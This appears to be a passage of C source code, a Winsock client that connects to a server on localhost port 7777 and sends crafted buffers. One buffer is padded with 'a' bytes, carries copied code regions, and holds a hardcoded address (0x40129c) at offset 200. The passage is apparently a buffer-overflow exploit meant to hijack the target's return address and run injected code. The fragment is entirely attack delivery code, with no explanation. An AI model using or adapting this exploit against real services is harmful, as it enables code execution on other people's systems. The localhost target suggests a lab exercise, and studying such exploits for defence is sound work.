int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
//----------------------
// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
printf("Error at socket(): %ld\n", WSAGetLastError());
WSACleanup();
return;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( "127.0.0.1" );
clientService.sin_port = htons( 7777 );
//----------------------
// Connect to server.
if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) {
printf( "Failed to connect.\n" );
WSACleanup();
return;
}
char buf[512];
memset (buf,'a',sizeof(buf));
memcpy(buf,Addr1,Addr2-Addr1);
*(DWORD*)&buf[200]=0x40129c;
send(ConnectSocket,buf,sizeof(buf),0);
memset(buf,'a',sizeof(buf));
memcpy(buf,Addr2,Addr3-Addr2);
send(ConnectSocket,buf,sizeof(buf),0);
printf("Connected to server.\n");
Sleep(1000);